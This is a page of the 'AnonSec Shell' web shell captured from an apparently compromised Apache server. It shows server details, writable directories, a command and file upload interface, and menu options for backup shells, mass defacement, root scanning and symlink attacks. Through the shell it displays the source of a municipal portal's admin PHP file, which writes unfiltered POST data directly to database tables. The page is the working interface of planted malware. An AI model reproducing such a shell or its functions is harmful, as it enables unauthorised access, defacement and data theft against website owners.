AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/portais/cmdev/admin/paginas/cidade/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/portais/cmdev/admin/paginas/cidade/cidade_crud.php
<?php
    /**
     * Created by PhpStorm.
     * User: ralpb
     * Date: 18/10/2018
     * Time: 14:04
     */
    
    
    $a    = new aviso();
    $acao = $_GET['var'];
    
    //HISTORIA
    if ($acao=='edit_historia') {
        $texto_id = $_POST['texto_id'];
        try {
            $db->update('textos', $_POST, $texto_id);
            $a->avisoSucesso('?page=cidade/historia', 'Gravado com sucesso!', 'Portal Admin');
        } catch (PDOException $e) {
            $a->avisoErro('?page=cidade/historia', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
    }
    
    if ($acao=='edit_ativo_historia') {
        $m_cidade_id = $_POST['m_cidade_id'];
        try {
            $db->update('menu_cidade', $_POST, $m_cidade_id);
            $a->avisoSucesso('?page=cidade/historia', 'Gravado com sucesso!', 'Portal Admin');
        } catch (PDOException $e) {
            $a->avisoErro('?page=cidade/historia', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
    }
    
    //SIMBOLOS MUNICIPAIS
    if ($acao=='edit_simbolos') {
        $texto_id = $_POST['texto_id'];
        try {
            $db->update('textos', $_POST, $texto_id);
            $a->avisoSucesso('?page=cidade/simbolos', 'Gravado com sucesso!', 'Portal Admin');
        } catch (PDOException $e) {
            $a->avisoErro('?page=cidade/simbolos', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
    }
    
    if ($acao=='edit_ativo_simbolos') {
        $m_cidade_id = $_POST['m_cidade_id'];
        try {
            $db->update('menu_cidade', $_POST, $m_cidade_id);
            $a->avisoSucesso('?page=cidade/simbolos', 'Gravado com sucesso!', 'Portal Admin');
        } catch (PDOException $e) {
            $a->avisoErro('?page=cidade/simbolos', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
    }
    
    //GUIA MUNICIPAL
    if ($acao=='edit_guia') {
        $texto_id = $_POST['texto_id'];
        try {
            $db->update('textos', $_POST, $texto_id);
            $a->avisoSucesso('?page=cidade/guia', 'Gravado com sucesso!', 'Portal Admin');
        } catch (PDOException $e) {
            $a->avisoErro('?page=cidade/guia', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
    }
    
    if ($acao=='edit_ativo_guia') {
        $m_cidade_id = $_POST['m_cidade_id'];
        try {
            $db->update('menu_cidade', $_POST, $m_cidade_id);
            $a->avisoSucesso('?page=cidade/guia', 'Gravado com sucesso!', 'Portal Admin');
        } catch (PDOException $e) {
            $a->avisoErro('?page=cidade/guia', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
    }
    
    //PONTOS TURISTICOS
    if ($acao=='edit_turismo') {
        $texto_id = $_POST['texto_id'];
        try {
            $db->update('textos', $_POST, $texto_id);
            $a->avisoSucesso('?page=cidade/turismo', 'Gravado com sucesso!', 'Portal Admin');
        } catch (PDOException $e) {
            $a->avisoErro('?page=cidade/turismo', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
    }
    
    if ($acao=='edit_ativo_turismo') {
        $m_cidade_id = $_POST['m_cidade_id'];
        try {
            $db->update('menu_cidade', $_POST, $m_cidade_id);
            $a->avisoSucesso('?page=cidade/turismo', 'Gravado com sucesso!', 'Portal Admin');
        } catch (PDOException $e) {
            $a->avisoErro('?page=cidade/turismo', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
    }
    
    //FERIADOS E EVENTOS
    if ($acao=='edit_eventos') {
        try {
            $db->update('textos', $_POST, $_POST['texto_id']);
            $a->avisoSucesso('?page=cidade/eventos', 'Gravado com sucesso!', 'Portal Admin');
        } catch (PDOException $e) {
            $a->avisoErro('?page=cidade/eventos', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
    }
    
    if ($acao=='edit_ativo_eventos') {
        try {
            $db->update('menu_cidade', $_POST, $_POST['m_cidade_id']);
            $a->avisoSucesso('?page=cidade/eventos', 'Gravado com sucesso!', 'Portal Admin');
        } catch (PDOException $e) {
            $a->avisoErro('?page=cidade/eventos', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
    }

Anon7 - 2022
AnonSec Team